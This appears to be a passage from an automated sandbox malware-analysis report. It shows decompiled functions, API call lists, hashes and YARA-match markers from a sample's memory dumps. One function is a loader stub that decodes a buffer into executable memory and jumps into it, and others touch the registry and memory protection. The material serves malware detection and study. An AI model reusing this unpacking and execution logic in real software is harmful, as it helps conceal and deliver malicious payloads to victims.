					_push(0x3b31e5);
					return E003CB758(_v8);
				} else {
					if(( *(_v8 + 0x98) & 0x00000010) != 0) {
						_t194 =  *0x3dbb20; // 0x2141474
						_t22 = _t194 + 0x40; // 0x60
						if( *(_v8 + 0x25c) !=  *_t22) {
							_t155 =  *0x3dbb20; // 0x2141474
							_t25 = _t155 + 0x40; // 0x60
							E0039FB00( *((intOrPtr*)(_v8 + 0x68)), MulDiv(E0039FAF8( *((intOrPtr*)(_v8 + 0x68))),  *_t25,  *(_v8 + 0x25c)), __edi, _t202);
						}
					}
					_t117 =  *0x3dbb20; // 0x2141474
					_t28 = _t117 + 0x40; // 0x60
					 *(_v8 + 0x25c) =  *_t28;
					_t199 = E003B3310(_v8);
					_t122 =  *(_v8 + 0x270);
					_t209 = _t199 - _t122;
					if(_t199 != _t122) {
						_t164 = 1;
						E003B25E8(_v8, _t122, _t199);
						E003CE97C(_v8,  *(_v8 + 0x270), _t199, _t209);
						if(( *(_v8 + 0x98) & 0x00000004) != 0) {
							 *(_v8 + 0x268) = MulDiv( *(_v8 + 0x268), _t199,  *(_v8 + 0x270));
						}
						if(( *(_v8 + 0x98) & 0x00000008) != 0) {
							 *(_v8 + 0x26c) = MulDiv( *(_v8 + 0x26c), _t199,  *(_v8 + 0x270));
						}
						if(( *(_v8 + 0x98) & 0x00000020) != 0) {
							 *(_v8 + 0x1fa) = MulDiv( *(_v8 + 0x1fa), _t199,  *(_v8 + 0x270));
							 *(_v8 + 0x1fe) = MulDiv( *(_v8 + 0x1fe), _t199,  *(_v8 + 0x270));
						}
					}
					goto L12;
				}
			}

0x003b2f88
0x003b2f89
0x003b2f90
0x003b2f96
0x003b2f9d
0x003b2f9e
0x003b2fa3
0x003b2fa6
0x003b2fae
0x003b2fb9
0x003b2fc4
0x003b2fca
0x003b2fcc
0x003b2fd6
0x003b2fe1
0x003b2ff0
0x003b3152
0x003b3155
0x003b315b
0x003b315d
0x003b3164
0x003b3164
0x003b316c
0x003b3172
0x003b3174
0x003b317b
0x003b317b
0x003b3183
0x003b3189
0x003b318f
0x003b3191
0x003b31a0
0x003b31b2
0x003b31b2
0x003b31c3
0x003b31ca
0x003b31cd
0x003b31d0
0x003b31dd
0x003b3006
0x003b3010
0x003b301b
0x003b3021
0x003b3024
0x003b3030
0x003b3035
0x003b3050
0x003b3050
0x003b3024
0x003b3055
0x003b305a
0x003b3060
0x003b306e
0x003b3073
0x003b3079
0x003b307b
0x003b3081
0x003b308a
0x003b309d
0x003b30ac
0x003b30cb
0x003b30cb
0x003b30db
0x003b30fa
0x003b30fa
0x003b310a
0x003b3129
0x003b314c
0x003b314c
0x003b310a
0x00000000
0x003b307b

APIs

MulDiv.KERNEL32 ref: 003B3047
MulDiv.KERNEL32 ref: 003B30C3
MulDiv.KERNEL32 ref: 003B30F2
MulDiv.KERNEL32 ref: 003B3121
MulDiv.KERNEL32 ref: 003B3144

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cb2b7014aa891c2f8a9ce77902e21fd4e292ae44c15f211831bb02e1f437863
Instruction ID: 4920abba25a66cb865def73fb90e5612737ee17fe6801654162f4e9ff4100898
Opcode Fuzzy Hash: 4cb2b7014aa891c2f8a9ce77902e21fd4e292ae44c15f211831bb02e1f437863
Instruction Fuzzy Hash: CD71A434A04118EFCB05EBA8C989FE9B7F9AF49304F2541F5E908DB762D731AE459B40

Uniqueness

Uniqueness Score: -1.00%

Function 003D8870, Relevance: 7.6, APIs: 5, Instructions: 150
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E003D8870() {
				intOrPtr _v8;
				intOrPtr _t4;
				intOrPtr* _t10;
				long _t12;
				intOrPtr _t14;
				intOrPtr _t16;
				intOrPtr* _t18;
				long _t20;
				void* _t21;
				signed int* _t22;
				signed int* _t23;
				intOrPtr _t29;
				intOrPtr _t31;
				signed int* _t32;
				signed int* _t36;
				struct HICON__* _t37;
				signed int* _t38;
				struct HICON__* _t41;
				signed int* _t42;
				intOrPtr _t43;
				signed int* _t44;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t56;
				long _t57;
				intOrPtr _t69;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t76;
				intOrPtr _t78;
				intOrPtr _t79;
				void* _t83;

				_v8 = _t4;
				 *0x3dbc54 = 0xcbf0;
				 *0x3dbc58 = 0x1000;
				 *0x3dbc60 = 0x1c8;
				 *0x3dbc64 = 0x7b;
				 *0x3dbc68 = 0;
				 *0x3dbc78 = _t79;
				 *0x3dbc78 =  *0x3dbc78 + 0x1c8;
				 *0x3dbc7c = _t78;
				 *0x3dbc7c =  *0x3dbc7c + 0x1dc;
				 *0x3dbc84 =  *0x003DB658;
				 *0x3dbc80 =  *0x003DB654;
				 *0x3dbc4c = 1;
				if( *0x3dbc4c >= 0x406caa) {
					L2:
					_t56 =  *0x3db668; // 0x380000
					 *0x3dbc3c = E00399404(_t56, 1, 0x3d8b18, 0x3d8b14);
					_t10 =  *0x3dbc3c; // 0x214079c
					 *0x3dbc6c =  *((intOrPtr*)( *_t10))();
					_t12 =  *0x3dbc6c; // 0xc004
					 *0x3dbc40 = E003826CC(_t12);
					_t69 =  *0x3dbc40; // 0x21443ec
					_t57 =  *0x3dbc6c; // 0xc004
					_t14 =  *0x3dbc3c; // 0x214079c
					E00398DA0(_t14, _t57, _t69);
					_t16 =  *0x3dbc3c; // 0x214079c
					E003830FC(_t16);
					_t18 =  *0x3dbc40; // 0x21443ec
					 *0x3dbc50 =  *_t18;
					 *0x3dbc40 =  *0x3dbc40 + 4;
					_t20 =  *0x3dbc6c; // 0xc004
					_t21 = VirtualAlloc(0, _t20, 0x1000, 0x40); // executed
					 *0x3dbc48 = _t21;
					_t22 =  *0x3dbc48; // 0x40c000
					 *0x3dbc44 = _t22;
					_t23 =  *0x3dbc44; // 0x3ffffc
					 *0x3dbc44 = _t23 - 4;
					 *0x3dbc70 = 0;
					 *0x3dbc74 = 0;
					E00386A60(0);
					while(1) {
						_t29 =  *0x3dbc70; // 0xc030
						_t83 = _t29 -  *0x3dbc6c; // 0xc004
						if(_t83 >= 0) {
							break;
						}
						_t76 =  *0x3dbc40; // 0x21443ec
						_t44 =  *0x3dbc48; // 0x40c000
						E00386A58(_t44 +  *0x3dbc74, _t76 +  *0x3dbc70);
						_t47 =  *0x3dbc64; // 0x7b
						 *0x3dbc74 =  *0x3dbc74 + _t47;
						_t48 =  *0x3dbc64; // 0x7b
						 *0x3dbc70 =  *0x3dbc70 + _t48;
						_t49 =  *0x3dbc68; // 0x0
						 *0x3dbc70 =  *0x3dbc70 + _t49;
					}
					 *0x3dbc4c = 0;
					_t31 =  *0x3dbc4c; // 0xc000
					__eflags = _t31 -  *0x3dbc50; // 0xc000
					if(__eflags >= 0) {
						L7:
						_t32 =  *0x3dbc44; // 0x3ffffc
						 *0x3dbc5c = _t32 +  *0x3dbc54 -  *0x3dbc58 + 4;
						_push( *0x3dbc78);
						_push( *0x3dbc7c);
						_push( *0x3dbc80);
						_push( *0x3dbc84);
						_push( *0x3db668);
						_push(1);
						goto __edx;
					} else {
						goto L6;
					}
					do {
						L6:
						_t36 =  *0x3dbc48; // 0x40c000
						_t72 =  *0x3dbc4c; // 0xc000
						 *_t36 =  *_t36 + _t72;
						_t37 = LoadIconA(0, 0x926);
						_t38 =  *0x3dbc48; // 0x40c000
						_t73 =  *0x3dbc60; // 0x1c8
						_t41 = LoadIconA(0, 0x926);
						_t42 =  *0x3dbc48; // 0x40c000
						 *_t42 = _t37 + ( *_t38 ^ _t73 + 0x0008a58a +  *0x3dbc4c) + _t41;
						 *0x3dbc4c =  *0x3dbc4c + 4;
						 *0x3dbc48 =  &(( *0x3dbc48)[1]);
						_t43 =  *0x3dbc4c; // 0xc000
						__eflags = _t43 -  *0x3dbc50; // 0xc000
					} while (__eflags < 0);
					goto L7;
				} else {
					goto L1;
				}
				do {
					L1:
					CharUpperA(0x72);
					CharUpperA(0x74);
					 *0x3dbc4c =  *0x3dbc4c + 1;
				} while ( *0x3dbc4c < 0x406caa);
				goto L2;
			}

0x003d8875
0x003d8878
0x003d8882
0x003d888c
0x003d8896
0x003d88a2
0x003d88a7
0x003d88ad
0x003d88b7
0x003d88bd
0x003d88d0
0x003d88d8
0x003d88dd
0x003d88f1
0x003d8913
0x003d891d
0x003d892f
0x003d8934
0x003d893d
0x003d8942
0x003d894c
0x003d8951
0x003d8957
0x003d895d
0x003d8962
0x003d8967
0x003d896c
0x003d8971
0x003d8978
0x003d897d
0x003d898b
0x003d8993
0x003d8998
0x003d899d
0x003d89a2
0x003d89a7
0x003d89af
0x003d89b6
0x003d89bd
0x003d89cf
0x003d89d4
0x003d89d4
0x003d89d9
0x003d89df
0x00000000
0x00000000
0x003d89e1
0x003d89ed
0x003d89fe
0x003d8a03
0x003d8a08
0x003d8a0e
0x003d8a13
0x003d8a19
0x003d8a1e
0x003d8a1e
0x003d8a28
0x003d8a2d
0x003d8a32
0x003d8a38
0x003d8aa2
0x003d8aa2
0x003d8ab6
0x003d8abb
0x003d8ac1
0x003d8ac7
0x003d8acd
0x003d8ad3
0x003d8afb
0x003d8b03
0x00000000
0x00000000
0x00000000
0x003d8a3a
0x003d8a3a
0x003d8a3a
0x003d8a3f
0x003d8a45
0x003d8a4e
0x003d8a55
0x003d8a5c
0x003d8a79
0x003d8a80
0x003d8a85
0x003d8a87
0x003d8a8e
0x003d8a95
0x003d8a9a
0x003d8a9a
0x00000000
0x00000000
0x00000000
0x00000000
0x003d88f3
0x003d88f3
0x003d88f5
0x003d88fc
0x003d8901
0x003d8907
0x00000000

APIs

CharUpperA.USER32 ref: 003D88F5
CharUpperA.USER32 ref: 003D88FC
VirtualAlloc.KERNEL32(00000000,0000C004,00001000,00000040), ref: 003D8993
LoadIconA.USER32 ref: 003D8A4E
LoadIconA.USER32 ref: 003D8A79

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CharIconLoadUpper$AllocVirtual
String ID:
API String ID: 2207469174-0
Opcode ID: 2444c6a1fff305b067ae7cbfb9cd523d2b1f951d050f2bfc05d4ed51f352bbfe
Instruction ID: d7bcfa01c0db71dad280f2ff478de61ed598ff13e4465806c1aabee60507758a
Opcode Fuzzy Hash: 2444c6a1fff305b067ae7cbfb9cd523d2b1f951d050f2bfc05d4ed51f352bbfe
Instruction Fuzzy Hash: C75179B1662204DFD75BEF28FD85A16B7ADB708708F12812BE5068B275DF74A940CB04

Uniqueness

Uniqueness Score: -1.00%

Function 0047A245, Relevance: 7.6, APIs: 5, Instructions: 147
servicecomCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0047A245(intOrPtr _a4) {
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				char _v32;
				intOrPtr _v40;
				void* _v46;
				short _v48;
				intOrPtr _t49;
				void* _t51;
				intOrPtr* _t53;
				intOrPtr _t56;
				void* _t58;
				intOrPtr* _t59;
				intOrPtr* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr _t76;
				intOrPtr* _t79;
				short _t81;
				char* _t97;
				intOrPtr _t99;
				void* _t105;
				void* _t107;
				intOrPtr _t111;

				_t81 = 0;
				_v48 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t49 =  *0x47d27c; // 0x374a7d0
				_t4 = _t49 + 0x47e450; // 0x3bc8c20
				_t5 = _t49 + 0x47e440; // 0x9ba05972
				_t51 =  *0x47d15c(_t5, 0, 4, _t4,  &_v20); // executed
				_t105 = _t51;
				if(_t105 >= 0) {
					_t53 = _v20;
					_push( &_v12);
					_push(1);
					_push( &_v32);
					_push(8);
					_t97 =  &_v48;
					_push(_t97);
					_push(_t97);
					_push(_t53); // executed
					if( *((intOrPtr*)( *_t53 + 0x3c))() == 0) {
						_t56 =  *0x47d27c; // 0x374a7d0
						_t30 = _t56 + 0x47e430; // 0x3bc8c00
						_t31 = _t56 + 0x47e460; // 0x4c96be40
						_t58 =  *0x47d0f8(_v12, _t31, _t30,  &_v24); // executed
						_t105 = _t58;
						_t59 = _v12;
						 *((intOrPtr*)( *_t59 + 8))(_t59);
						goto L11;
					} else {
						_t71 = _v20;
						_v16 = 0;
						_t105 =  *((intOrPtr*)( *_t71 + 0x1c))(_t71,  &_v16);
						if(_t105 >= 0) {
							_t111 = _v16;
							if(_t111 == 0) {
								_t105 = 0x80004005;
								goto L11;
							} else {
								if(_t111 <= 0) {
									L11:
									if(_t105 >= 0) {
										goto L12;
									}
								} else {
									do {
										_t73 = _v20;
										_v48 = 3;
										_v40 = _t81;
										_t107 = _t107 - 0x10;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t105 =  *((intOrPtr*)( *_t73 + 0x20))(_t73,  &_v12);
										if(_t105 < 0) {
											goto L7;
										} else {
											_t76 =  *0x47d27c; // 0x374a7d0
											_t23 = _t76 + 0x47e430; // 0x3bc8c00
											_t24 = _t76 + 0x47e460; // 0x4c96be40
											_t105 =  *0x47d0f8(_v12, _t24, _t23,  &_v24);
											_t79 = _v12;
											 *((intOrPtr*)( *_t79 + 8))(_t79);
											if(_t105 >= 0) {
												L12:
												_t63 = _v24;
												_t105 =  *((intOrPtr*)( *_t63 + 0x3c))(_t63,  &_v28);
												if(_t105 >= 0) {
													_t99 =  *0x47d27c; // 0x374a7d0
													_t67 = _v28;
													_t40 = _t99 + 0x47e420; // 0x214e3
													_t105 =  *((intOrPtr*)( *_t67))(_t67, _t40, _a4);
													_t69 = _v28;
													 *((intOrPtr*)( *_t69 + 8))(_t69);
												}
												_t65 = _v24;
												 *((intOrPtr*)( *_t65 + 8))(_t65);
											} else {
												goto L7;
											}
										}
										goto L15;
										L7:
										_t81 = _t81 + 1;
									} while (_t81 < _v16);
									goto L11;
								}
							}
						}
					}
					L15:
					_t61 = _v20;
					 *((intOrPtr*)( *_t61 + 8))(_t61);
				}
				return _t105;
			}

0x0047a250
0x0047a252
0x0047a259
0x0047a25a
0x0047a25b
0x0047a25c
0x0047a262
0x0047a267
0x0047a271
0x0047a278
0x0047a27e
0x0047a282
0x0047a288
0x0047a290
0x0047a291
0x0047a296
0x0047a297
0x0047a299
0x0047a29c
0x0047a29d
0x0047a29e
0x0047a2a4
0x0047a339
0x0047a33e
0x0047a345
0x0047a34f
0x0047a355
0x0047a357
0x0047a35d
0x00000000
0x0047a2aa
0x0047a2aa
0x0047a2b1
0x0047a2ba
0x0047a2be
0x0047a2c4
0x0047a2c7
0x0047a32e
0x00000000
0x0047a2c9
0x0047a2c9
0x0047a360
0x0047a362
0x00000000
0x00000000
0x0047a2cf
0x0047a2cf
0x0047a2cf
0x0047a2d6
0x0047a2dc
0x0047a2e1
0x0047a2e9
0x0047a2ea
0x0047a2eb
0x0047a2ed
0x0047a2f1
0x0047a2f5
0x00000000
0x0047a2f7
0x0047a2fb
0x0047a300
0x0047a307
0x0047a317
0x0047a319
0x0047a31f
0x0047a324
0x0047a364
0x0047a364
0x0047a371
0x0047a375
0x0047a37a
0x0047a380
0x0047a385
0x0047a38f
0x0047a391
0x0047a397
0x0047a397
0x0047a39a
0x0047a3a0
0x00000000
0x00000000
0x00000000
0x0047a324
0x00000000
0x0047a326
0x0047a326
0x0047a327
0x00000000
0x0047a32c
0x0047a2c9
0x0047a2c7
0x0047a2be
0x0047a3a3
0x0047a3a3
0x0047a3a9
0x0047a3a9
0x0047a3b2

APIs

CoCreateInstance.OLE32(9BA05972,00000000,00000004,03BC8C20,00000000), ref: 0047A278
ObjectStublessClient10.OLE32(00000000,?,?,00000008,?,00000001,00000000,?,?,?,?,?,?,?,00471BCF,00000000), ref: 0047A29F
IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,03BC8C00,00471BCF), ref: 0047A311
IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,03BC8C00,00471BCF), ref: 0047A34F
ObjectStublessClient9.OLE32(00471BCF,?,?,?,?,?,?,?,?,00471BCF,00000000,00000000,00000000,006D0063), ref: 0047A36E

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectQueryServiceStublessUnknown_$Client10Client9CreateInstance
String ID:
API String ID: 2615702746-0
Opcode ID: 7767460e30fdb218b1697c75bc1ca90442c5ec93c7e2ab2a3c70d0eb06f4503c
Instruction ID: 4eb409cfe998b8fbf1830243e35c58b2e5c36a87e231230c21660d7f0b9a91ca
Opcode Fuzzy Hash: 7767460e30fdb218b1697c75bc1ca90442c5ec93c7e2ab2a3c70d0eb06f4503c
Instruction Fuzzy Hash: 95515075D00119AFCB00CFA4C888DEEB7B8FF8C318B048599E919EB210D735AD45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 003ACA8C, Relevance: 7.6, APIs: 5, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E003ACA8C(void* __eax, void* __ebx, intOrPtr __ecx, int __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v12;
				long _t27;
				long _t34;
				int _t42;
				int _t43;
				intOrPtr _t50;
				int _t54;
				void* _t57;
				void* _t60;

				_v12 = 0;
				_v8 = __ecx;
				_t54 = __edx;
				_t57 = __eax;
				_push(_t60);
				_push(0x3acb77);
				_push( *[fs:eax]);
				 *[fs:eax] = _t60 + 0xfffffff8;
				if(__edx >= 0) {
					_t42 = SendMessageA(E003CEEB8( *((intOrPtr*)(__eax + 0x10))), 0xbb, __edx, 0);
					if(_t42 < 0) {
						_t43 = SendMessageA(E003CEEB8( *((intOrPtr*)(_t57 + 0x10))), 0xbb, _t54 - 1, 0);
						if(_t43 >= 0) {
							_t27 = SendMessageA(E003CEEB8( *((intOrPtr*)(_t57 + 0x10))), 0xc1, _t43, 0);
							if(_t27 != 0) {
								_t42 = _t43 + _t27;
								E003841C8( &_v12, _v8, 0x3acb90);
								goto L6;
							}
						}
					} else {
						E003841C8( &_v12, 0x3acb90, _v8);
						L6:
						SendMessageA(E003CEEB8( *((intOrPtr*)(_t57 + 0x10))), 0xb1, _t42, _t42);
						_t34 = E0038437C(_v12);
						SendMessageA(E003CEEB8( *((intOrPtr*)(_t57 + 0x10))), 0xc2, 0, _t34); // executed
					}
				}
				_pop(_t50);
				 *[fs:eax] = _t50;
				_push(0x3acb7e);
				return E00383EBC( &_v12);
			}

0x003aca97
0x003aca9a
0x003aca9d
0x003aca9f
0x003acaa3
0x003acaa4
0x003acaa9
0x003acaac
0x003acab1
0x003acacd
0x003acad1
0x003acafc
0x003acb00
0x003acb13
0x003acb1a
0x003acb1c
0x003acb29
0x00000000
0x003acb29
0x003acb1a
0x003acad3
0x003acade
0x003acb2e
0x003acb3e
0x003acb46
0x003acb5c
0x003acb5c
0x003acad1
0x003acb63
0x003acb66
0x003acb69
0x003acb76

APIs

SendMessageA.USER32 ref: 003ACAC8
SendMessageA.USER32 ref: 003ACAF7
SendMessageA.USER32 ref: 003ACB13
SendMessageA.USER32 ref: 003ACB3E
SendMessageA.USER32 ref: 003ACB5C

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ea5ececa8d42e55a20ceae5e20569e108e98369760901fda55e4911962aef432
Instruction ID: 3eb60062cc9d9eaa0448827408d95457c6d8accf63ab77e64d9e6daaccddc3b9
Opcode Fuzzy Hash: ea5ececa8d42e55a20ceae5e20569e108e98369760901fda55e4911962aef432
Instruction Fuzzy Hash: CA218031A50704ABE722BBB4CC83F5B7AACEB45700F100968F911EB7C1DBB59D008728

Uniqueness

Uniqueness Score: -1.00%

Function 02353A64, Relevance: 7.6, APIs: 5, Instructions: 67registrymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02342A10: RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 02342A25
Part of subcall function 02342A10: lstrlen.KERNEL32(?,00000000,00000000,?,?,?,00000000,?,?,?,0234191D,00000000,?), ref: 02342A53

RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353A9C
RtlAllocateHeap.NTDLL(00000000,?), ref: 02353AB0
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353ACA
HeapFree.KERNEL32(00000000,?), ref: 02353AE6
RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask,?,?), ref: 02353AF4

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HeapQueryValue$AllocateCloseCreateFreelstrlen
String ID:
API String ID: 1633053242-0
Opcode ID: 277c004319497e3866529e2b678fbbd6133b49c21f02990b7644a8575253ebb4
Instruction ID: a77686f427641b5fca0c72d44e3f630711210eb36253015d2068715b97bcc539
Opcode Fuzzy Hash: 277c004319497e3866529e2b678fbbd6133b49c21f02990b7644a8575253ebb4
Instruction Fuzzy Hash: 9A115BB6940219FFDF019F95CC89CAE7B7EEB48394B114866F90593110DB719E609F60

Uniqueness

Uniqueness Score: -1.00%

Function 02355944, Relevance: 7.5, APIs: 5, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(4E52454B,0236710C,?,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 02355965
GetProcAddress.KERNEL32(00000000,6F577349,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 0235597E
OpenProcess.KERNEL32(00000400,00000000,0235E5D3,0236710C,?,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 0235599B
IsWow64Process.KERNELBASE(00000000,00000000,0236710C,?,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 023559AC
CloseHandle.KERNEL32(00000000), ref: 023559BF

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HandleProcess$AddressCloseModuleOpenProcWow64
String ID:
API String ID: 4157061983-0
Opcode ID: 2383d9c60bf941cca23a6b3627a4356f436a3c7a41499c5c5479f50726ccc546
Instruction ID: 7e81624e391ea331caf5dc465dd010da2d95d81406390f4085727c9a368e72d3
Opcode Fuzzy Hash: 2383d9c60bf941cca23a6b3627a4356f436a3c7a41499c5c5479f50726ccc546
Instruction Fuzzy Hash: E901C0F1C40214EFDB11CFA5D84CC9ABBBCEB857A8B908556E909C3204E7345A56CB50

Uniqueness

Uniqueness Score: -1.00%

Function 023559CE, Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000000,00000000,00000040,023456BC,?,?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 023559F3
GetLastError.KERNEL32(?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 023559FB
VirtualQuery.KERNEL32(00000000,?,0000001C,?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 02355A12
VirtualProtect.KERNEL32(00000000,00000000,-392CC87E,023456BC,?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 02355A37
SetLastError.KERNEL32(?,?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 02355A40

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Virtual$ErrorLastProtect$Query
String ID:
API String ID: 148356745-0
Opcode ID: ef0ddb2322818e95cda55ea992871c1d6406a4a693316a77e27faadb5269cec5
Instruction ID: 60af4de6db04c40394d90a8f551d30d13763fa2a0785db8e1cc85a5742a8d9a8
Opcode Fuzzy Hash: ef0ddb2322818e95cda55ea992871c1d6406a4a693316a77e27faadb5269cec5
Instruction Fuzzy Hash: A5014C7290011AFFDF129FA5CC84C9EBBBDFF48358B008426F90593110D771A969DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0234B67A, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78registryCOMMON

Download Yara Rule

APIs

Part of subcall function 02342A10: RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 02342A25
Part of subcall function 02342A10: lstrlen.KERNEL32(?,00000000,00000000,?,?,?,00000000,?,?,?,0234191D,00000000,?), ref: 02342A53

RegQueryValueExA.KERNEL32(?,Client,00000000,?,0236606C,?,00000001,?), ref: 0234B6C5
RegSetValueExA.KERNEL32(?,Client,00000000,00000003,0236606C,00000028), ref: 0234B702
RegCloseKey.ADVAPI32(?), ref: 0234B70E

Strings

Client, xrefs: 0234B6AC, 0234B6BE, 0234B6FE, 0234B72D

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Value$CloseCreateQuerylstrlen
String ID: Client
API String ID: 2552977122-3236430179
Opcode ID: cf32d3c41c295e48fae34ce9f5a77f6495fd6cc510634efe462a331038e1d761
Instruction ID: a366aad073d71ef58512dc1a9a556f0920454997ec7938acabec13e8826ca717
Opcode Fuzzy Hash: cf32d3c41c295e48fae34ce9f5a77f6495fd6cc510634efe462a331038e1d761
Instruction Fuzzy Hash: 0C2183B5D40208EFDB20DF95D84DFAEBFBDEB04B58F0084A6E504A6140DB759A50CF60

Uniqueness

Uniqueness Score: -1.00%

Function 003B44E0, Relevance: 6.1, APIs: 4, Instructions: 148
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E003B44E0(void* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				void* _t41;
				void* _t54;
				void* _t61;
				struct HMENU__* _t64;
				struct HMENU__* _t70;
				intOrPtr _t77;
				void* _t79;
				intOrPtr _t81;
				intOrPtr _t83;
				intOrPtr _t87;
				void* _t92;
				intOrPtr _t98;
				void* _t111;
				intOrPtr _t113;
				void* _t116;

				_t109 = __edi;
				_push(__edi);
				_v20 = 0;
				_t113 = __edx;
				_t92 = __eax;
				_push(_t116);
				_push(0x3b46a6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t116 + 0xfffffff0;
				if(__edx == 0) {
					L7:
					_t39 =  *((intOrPtr*)(_t92 + 0x248));
					if( *((intOrPtr*)(_t92 + 0x248)) != 0) {
						E003C1F94(_t39, 0, _t109, 0);
					}
					if(( *(_t92 + 0x1c) & 0x00000008) != 0 || _t113 != 0 && ( *(_t113 + 0x1c) & 0x00000008) != 0) {
						_t113 = 0;
					}
					 *((intOrPtr*)(_t92 + 0x248)) = _t113;
					if(_t113 != 0) {
						E0039C9A4(_t113, _t92);
					}
					if(_t113 == 0 || ( *(_t92 + 0x1c) & 0x00000010) == 0 &&  *((char*)(_t92 + 0x229)) == 3) {
						_t41 = E003CF1BC(_t92);
						__eflags = _t41;
						if(_t41 != 0) {
							SetMenu(E003CEEB8(_t92), 0); // executed
						}
						goto L30;
					} else {
						if( *((char*)( *((intOrPtr*)(_t92 + 0x248)) + 0x5c)) != 0 ||  *((char*)(_t92 + 0x22f)) == 1) {
							if(( *(_t92 + 0x1c) & 0x00000010) == 0) {
								__eflags =  *((char*)(_t92 + 0x22f)) - 1;
								if( *((char*)(_t92 + 0x22f)) != 1) {
									_t54 = E003CF1BC(_t92);
									__eflags = _t54;
									if(_t54 != 0) {
										SetMenu(E003CEEB8(_t92), 0);
									}
								}
								goto L30;
							}
							goto L21;
						} else {
							L21:
							if(E003CF1BC(_t92) != 0) {
								_t61 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t92 + 0x248)))) + 0x34))();
								_t110 = _t61;
								_t64 = GetMenu(E003CEEB8(_t92));
								_t138 = _t61 - _t64;
								if(_t61 != _t64) {
									_t70 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t92 + 0x248)))) + 0x34))();
									SetMenu(E003CEEB8(_t92), _t70);
								}
